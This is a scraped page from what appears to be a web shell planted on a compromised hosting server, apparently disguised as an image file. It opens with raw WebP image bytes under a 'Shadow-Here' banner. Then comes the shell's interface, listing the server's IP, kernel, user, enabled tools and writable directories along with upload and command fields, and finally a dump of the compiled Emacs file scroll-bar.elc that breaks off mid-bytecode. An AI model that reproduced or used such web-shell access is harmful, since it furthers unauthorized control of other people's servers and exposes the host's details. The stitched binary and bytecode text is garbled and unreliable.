....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 66.235.200.170  /  Your IP : 3.135.64.200
Web Server : Apache
System : Linux gator4410.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : bmgxafte ( 1214)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/emacs/27.2/lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/emacs/27.2/lisp/scroll-bar.elc
;ELC
;;; Compiled
;;; in Emacs version 27.2
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(require 'mouse)
#@259 Given a scroll bar event EVENT, return the scroll bar position as a ratio.
The value is a cons cell (PORTION . WHOLE) containing two integers
whose ratio gives the event's vertical position in the scroll bar, with 0
referring to the top and 1 to the bottom.
(defalias 'scroll-bar-event-ratio #[(event) "\3018\207" [event 2] 2 (#$ . 426)])
#@372 Given a pair (NUM . DENOM) and WHOLE, return (/ (* NUM WHOLE) DENOM).
This is handy for scaling a position on a scroll bar into real units,
like buffer positions.  If SCROLL-BAR-POS is the (PORTION . WHOLE) pair
from a scroll bar event, then (scroll-bar-scale SCROLL-BAR-POS
(buffer-size)) is the position in the current buffer corresponding to
that scroll bar position.
(defalias 'scroll-bar-scale #[(num-denom whole) "\302@	_A\"\207" [num-denom whole truncate] 3 (#$ . 773)])
#@118 Return the width, measured in columns, of the vertical scrollbar on SIDE.
SIDE must be the symbol `left' or `right'.
(defalias 'scroll-bar-columns #[(side) "\304 \3058A@\306>\204\307\310\"\202;	=\203\"\n\206;\311\312\313\"=\203:\314\311\312\315\"\2064\316\317 \"\202;\320+\207" [wsb vtype cols side window-scroll-bars 2 (left right) error "`left' or `right' expected instead of %S" frame-parameter nil vertical-scroll-bars ceiling scroll-bar-width 14 frame-char-width 0] 4 (#$ . 1260)])
#@68 Return the height, measured in lines, of the horizontal scrollbar.
(defalias 'scroll-bar-lines #[nil "\303 \3048\3058	\203\n\202*\306\307\310\"\203)\311\306\307\312\"\206#\313\314 \"\202*\315+\207" [wsb htype lines window-scroll-bars 5 4 frame-parameter nil horizontal-scroll-bars ceiling scroll-bar-height 14 frame-char-width 0] 4 (#$ . 1770)])
(defvar previous-scroll-bar-mode nil)
#@125 Non-nil means `set-scroll-bar-mode' should really do something.
This is nil while loading `scroll-bar.el', and t afterward.
(defvar scroll-bar-mode-explicit nil (#$ . 2172))
#@132 Set the scroll bar mode to VALUE and put the new value into effect.
See the `scroll-bar-mode' variable for possible values to use.
(defalias 'set-scroll-bar-mode #[(value) "\203\n\205\304\305BC!\207" [scroll-bar-mode previous-scroll-bar-mode value scroll-bar-mode-explicit modify-all-frames-parameters vertical-scroll-bars] 3 (#$ . 2353)])
(byte-code "\301\302\303\304\305\306\307\310\311\312\313\314&\210\315\301\207" [scroll-bar-mode-explicit custom-declare-variable scroll-bar-mode default-frame-scroll-bars "Specify whether to have vertical scroll bars, and on which side.\nPossible values are nil (no scroll bars), `left' (scroll bars on left)\nand `right' (scroll bars on right).\nTo set this variable in a Lisp program, use `set-scroll-bar-mode'\nto make it take real effect.\nSetting the variable with a customization buffer also takes effect." :type (choice (const :tag "none (nil)" nil) (const left) (const right)) :group frames :initialize custom-initialize-default :set #[(_sym val) "\301!\207" [val set-scroll-bar-mode] 2] t] 12)
(defalias 'get-scroll-bar-mode #[nil "\207" [scroll-bar-mode] 1])
(byte-code "\300\301\302\303#\300\207" [function-put get-scroll-bar-mode gv-expander #[(do &rest args) "\302\303\304	$\207" [do args gv--defsetter get-scroll-bar-mode #[(val &rest args) "\302\303	C\"B\207" [args val set-scroll-bar-mode append] 4]] 5]] 4)
#@392 Toggle vertical scroll bars on all frames (Scroll Bar mode).

If called interactively, enable Scroll-Bar mode if ARG is positive,
and disable it if ARG is zero or negative.  If called from Lisp, also
enable the mode if ARG is omitted or nil, and toggle it if ARG is
`toggle'; disable the mode otherwise.

This command applies to all frames that exist and frames to be
created in the future.
(defalias 'scroll-bar-mode #[(&optional arg) "\306 	\307=\203\310 ?\202\311	!\312V\313\n\205\206\f!\210)\314\315\310 \203-\316\202.\317\"\210\320\321!\203T\306 \203B\306 \232\203T\322\323\324\310 \203O\325\202P\326
#\210))\327 \210\310 \207" [#1=#:last-message arg v previous-scroll-bar-mode default-frame-scroll-bars local current-message toggle get-scroll-bar-mode prefix-numeric-value 0 set-scroll-bar-mode run-hooks scroll-bar-mode-hook scroll-bar-mode-on-hook scroll-bar-mode-off-hook called-interactively-p any " in current buffer" message "Scroll-Bar mode %sabled%s" "en" "dis" force-mode-line-update] 4 (#$ . 3740) (list (or current-prefix-arg 'toggle))])
(defvar scroll-bar-mode-hook nil)
(byte-code "\300\301N\204\f\302\300\301\303#\210\300\207" [scroll-bar-mode-hook variable-documentation put "Hook run after entering or leaving `scroll-bar-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)"] 4)
#@74 Return non-nil when horizontal scroll bars are available on this system.
(defalias 'horizontal-scroll-bars-available-p #[nil "\301 \205\f\302\300!\205\f\207" [x-toolkit-scroll-bars display-graphic-p boundp] 2 (#$ . 5150)])
#@299 Non-nil if Horizontal-Scroll-Bar mode is enabled.
See the `horizontal-scroll-bar-mode' command
for a description of this minor mode.
Setting this variable directly does not take effect;
either customize it (see the info node `Easy Customization')
or call the function `horizontal-scroll-bar-mode'.
(custom-declare-variable 'horizontal-scroll-bar-mode nil '(#$ . 5383) :set 'custom-set-minor-mode :initialize 'custom-initialize-default :group 'frames :type 'boolean)
#@416 Toggle horizontal scroll bars on all frames (Horizontal Scroll Bar mode).

If called interactively, enable Horizontal-Scroll-Bar mode if ARG is
positive, and disable it if ARG is zero or negative.  If called from
Lisp, also enable the mode if ARG is omitted or nil, and toggle it if
ARG is `toggle'; disable the mode otherwise.

This command applies to all frames that exist and frames to be
created in the future.
(defalias 'horizontal-scroll-bar-mode #[(&optional arg) "\306 \307\302	\310=\203\311\302!?\202\312	!\313V\"\210\n\203+\314 \204+\315\316\317!\210\202N\320 \315\211\203D\f@\321\322\n#\210\fA\211\2044*\322\nB\323\322
\"B\324\325\311\302!\203Z\326\202[\327\"\210\330\331!\203\210\332\302!\210\306 \203s\306 \232\203\210\333 \316\334\311\302!\203\202\335\202\203\336 #\210))\337 \210\311\302!\207" [#1=#:last-message arg horizontal-scroll-bar-mode frame --dolist-tail-- default-frame-alist current-message set-default toggle default-value prefix-numeric-value 0 horizontal-scroll-bars-available-p nil message "Horizontal scroll bars are not implemented on this system" frame-list set-frame-parameter horizontal-scroll-bars assq-delete-all run-hooks horizontal-scroll-bar-mode-hook horizontal-scroll-bar-mode-on-hook horizontal-scroll-bar-mode-off-hook called-interactively-p any customize-mark-as-set "" "Horizontal-Scroll-Bar mode %sabled%s" "en" "dis" force-mode-line-update local] 5 (#$ . 5856) (list (or current-prefix-arg 'toggle))])
(defvar horizontal-scroll-bar-mode-hook nil)
(byte-code "\301\302N\204\f\303\301\302\304#\210\305\306\307\310\300!\205\307\211%\207" [horizontal-scroll-bar-mode-map horizontal-scroll-bar-mode-hook variable-documentation put "Hook run after entering or leaving `horizontal-scroll-bar-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it.  (This is true for all hook variables.)" add-minor-mode horizontal-scroll-bar-mode nil boundp] 6)
#@273 Toggle whether or not the selected frame has vertical scroll bars.
With ARG, turn vertical scroll bars on if and only if ARG is positive.
The variable `scroll-bar-mode' controls which side the scroll bars are on
when they are turned on; if it is nil, they go on the left.
(defalias 'toggle-scroll-bar #[(arg) "\204\303\304\305\"\203\306\202\307\202\310!\311\312 \305\313V\205'	\206'\nBC\"\207" [arg scroll-bar-mode default-frame-scroll-bars frame-parameter nil vertical-scroll-bars -1 1 prefix-numeric-value modify-frame-parameters selected-frame 0] 5 (#$ . 7819) "P"])
#@141 Toggle whether or not the selected frame has horizontal scroll bars.
With ARG, turn vertical scroll bars on if and only if ARG is positive.
(defalias 'toggle-horizontal-scroll-bar #[(arg) "\204\301\302\303\"\203\304\202\305\202\306!\307\310 \303\311V\205#\312BC\"\207" [arg frame-parameter nil horizontal-scroll-bars -1 1 prefix-numeric-value modify-frame-parameters selected-frame 0 bottom] 5 (#$ . 8411) "P"])
#@118 Set the window start according to where the scroll bar is dragged.
EVENT should be a scroll bar click or drag event.
(defalias 'scroll-bar-set-window-start #[(event) "\304!\211@\305	8r\306\n!q\210\212e\307deZ\"\\b\210\310 \210\311\n`\"-\207" [event end-position window portion-whole event-end 2 window-buffer scroll-bar-scale beginning-of-line set-window-start] 6 (#$ . 8844) "e"])
#@44 Calculate new window start for drag event.
(defalias 'scroll-bar-drag-position #[(portion-whole) "\212e\301deZ\"\\b\210\302 \210`)\207" [portion-whole scroll-bar-scale beginning-of-line] 5 (#$ . 9237)])
#@188 Set the window start according to where the scroll bar is dragged.
Only change window start if the new start is substantially different.
EVENT should be a scroll bar click or drag event.
(defalias 'scroll-bar-maybe-set-window-start #[(event) "\306!\211@\307	8\211@TAB\310\211
\311\n!r\312\n!q\210\313!\313\f!
T]

Y\204=
W\203D\314\n
\"\202I\314\n\".\207" [event end-position window portion-whole next-portion-whole portion-start event-end 2 nil window-start window-buffer scroll-bar-drag-position set-window-start next-portion-start current-start] 4 (#$ . 9448) "e"])
(defalias 'scroll-bar-drag-1 #[(event) "\305!\211@\306	8\f\204$@\247\203$A\247\203$@AU?\205?\212r\307\n!q\210e\310deZ\"\\b\210\311\312\n\"\210\313\n`\"*+\207" [event start-position window portion-whole scroll-bar-adjust-thumb-portion event-start 2 window-buffer scroll-bar-scale vertical-motion 0 set-window-start] 6])
#@133 Scroll the window by dragging the scroll bar slider.
If you click outside the slider, the window scrolls to bring the slider there.
(defalias 'scroll-bar-drag #[(event) "\306\307\310\n!\211@\306r\311\f!q\210)\312 r\313\216\314\f\315\"\210
\206(`+\316\n!\210\317\320!\210\321\307!\210r\311\f!q\210
\211.\207" [done echo-keystrokes event end-position window before-scroll nil 0 event-end window-buffer internal--before-save-selected-window #[nil "\301!\207" [save-selected-window--state internal--after-save-selected-window] 2] select-window mark-for-redisplay scroll-bar-drag-1 internal--track-mouse #[nil "?\205&\302 \211\242\303=\203\302 	\242\304=\203 \305	!\210\202\306\211\202\207" [done event read-event mouse-movement scroll-bar-movement scroll-bar-drag-1 t] 3] sit-for point-before-scroll save-selected-window--state] 4 (#$ . 10379) "e"])
(defalias 'scroll-bar-horizontal-drag-1 #[(event) "\305!\211@\306	8\307\310\n!!\311\312\n!!\313=\203(\314\n@\fS\\\f\245\"\2025\314\nA@Z\fS\\\f\245\",\207" [event start-position window portion-whole unit event-start 2 frame-char-width window-frame current-bidi-paragraph-direction window-buffer left-to-right set-window-hscroll] 5])
#@146 Scroll the window horizontally by dragging the scroll bar slider.
If you click outside the slider, the window scrolls to bring the slider there.
(defalias 'scroll-bar-horizontal-drag #[(event) "\306\307\310\n!\211@\306r\311\f!q\210)\312 r\313\216\314\f\315\"\210
\206(`+\316\n!\210\317\320!\210\321\307!\210r\311\f!q\210
\211.\207" [done echo-keystrokes event end-position window before-scroll nil 0 event-end window-buffer internal--before-save-selected-window #[nil "\301!\207" [save-selected-window--state internal--after-save-selected-window] 2] select-window mark-for-redisplay scroll-bar-horizontal-drag-1 internal--track-mouse #[nil "?\205&\302 \211\242\303=\203\302 	\242\304=\203 \305	!\210\202\306\211\202\207" [done event read-event mouse-movement scroll-bar-movement scroll-bar-horizontal-drag-1 t] 3] sit-for point-before-scroll save-selected-window--state] 4 (#$ . 11602) "e"])
#@112 Scroll the window's top line down to the location of the scroll bar click.
EVENT should be a scroll bar click.
(defalias 'scroll-bar-scroll-down #[(event) "\306!\211@\307r\310\n!q\210\f)\311\216\312 r\313\216\314	8\315\n\316\"\210\206)`\317\320\321 S\"!\210)\322\323!.\207" [event end-position window before-scroll point-before-scroll save-selected-window--state event-end nil window-buffer #[nil "r\303!q\210	\211)\207" [window before-scroll point-before-scroll window-buffer] 2] internal--before-save-selected-window #[nil "\301!\207" [save-selected-window--state internal--after-save-selected-window] 2] 2 select-window mark-for-redisplay scroll-down scroll-bar-scale window-height sit-for 0 portion-whole] 5 (#$ . 12529) "e"])
#@108 Scroll the line next to the scroll bar click to the top of the window.
EVENT should be a scroll bar click.
(defalias 'scroll-bar-scroll-up #[(event) "\306!\211@\307r\310\n!q\210\f)\311\216\312 r\313\216\314	8\315\n\316\"\210\206)`\317\320\321 S\"!\210)\322\323!.\207" [event end-position window before-scroll point-before-scroll save-selected-window--state event-end nil window-buffer #[nil "r\303!q\210	\211)\207" [window before-scroll point-before-scroll window-buffer] 2] internal--before-save-selected-window #[nil "\301!\207" [save-selected-window--state internal--after-save-selected-window] 2] 2 select-window mark-for-redisplay scroll-up scroll-bar-scale window-height sit-for 0 portion-whole] 5 (#$ . 13284) "e"])
#@44 Handle event EVENT on vertical scroll bar.
(defalias 'scroll-bar-toolkit-scroll #[(event) "\306!\211@\307	8\310\311=\206\242r\312\n!q\210
)\313 r\314\216\315\n\316\"\210\f\206-`\317\267\202\223\320\321!\210\202\223\320\310!\210\202\223\322	8\323\324 S\"\320\325U\204]\202j@\325W\203i\326\202j\327!\210*\202\223\320\326!\210\202\223\320\327!\210\202\223\330\ne\"\210\202\223db\210\331 \210\202\223\332!\210+\333\325!\210r\312\n!q\210\f\211),\207" [event end-position window part before-scroll point-before-scroll event-end 4 nil end-scroll window-buffer internal--before-save-selected-window #[nil "\301!\207" [save-selected-window--state internal--after-save-selected-window] 2] select-window mark-for-redisplay #s(hash-table size 8 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (above-handle 52 below-handle 59 ratio 66 up 112 down 119 top 126 bottom 134 handle 143)) scroll-up - 2 scroll-bar-scale window-height 0 -1 1 set-window-start recenter scroll-bar-drag-1 sit-for save-selected-window--state portion-whole lines] 4 (#$ . 14030) "e"])
#@46 Handle event EVENT on horizontal scroll bar.
(defalias 'scroll-bar-toolkit-horizontal-scroll #[(event) "\306!\211@\307	8\310\311\n!!\312=\203\313\202\314\315\316=\206\321r\311\n!q\210)\317 r\320\216\321\n\322\"\210
\206>`\323\267\202\301\324\f\307_!\210\202\301\325\f\307_!\210\202\301\326	8 \327 \330 S\"!\324!\331U\204r!\202 @\331W\203~\314\202\313\f_!\210*\202\301\324\f\331\\!\210\202\301\325\f\331\\!\210\202\301\f\313=\203\244\332 \202\246\333 b\210\202\301\f\313=\203\266\333 \202\270\332 b\210\202\301\334!\210+\335\331!\210r\311\n!q\210
